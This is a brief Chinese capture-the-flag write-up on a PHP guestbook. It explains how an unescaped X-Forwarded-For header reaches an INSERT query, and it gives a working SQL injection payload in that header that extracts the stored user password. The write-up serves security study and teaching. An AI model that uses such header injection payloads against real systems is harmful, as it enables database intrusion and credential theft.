这题是个SQL注入。
看到
$message = mysql_real_escape_string($message);
这句话,就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
它只对message有过滤处理,而对其他的变量并没有过滤。
同时看上文的
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
函数,发现这里是通过XFF来得到的客户端IP,同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入:
X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#
FROM :rickyhao.com | rickyhao.com
相关推荐: HITCON 2015 BabyFirst(命令执行绕正则)
题目地址:https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_4/index.php 借上次的docker环境,稍微改了下。本地搭了个环境玩。 代码审计,整个程序的逻辑是为一个客户端…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论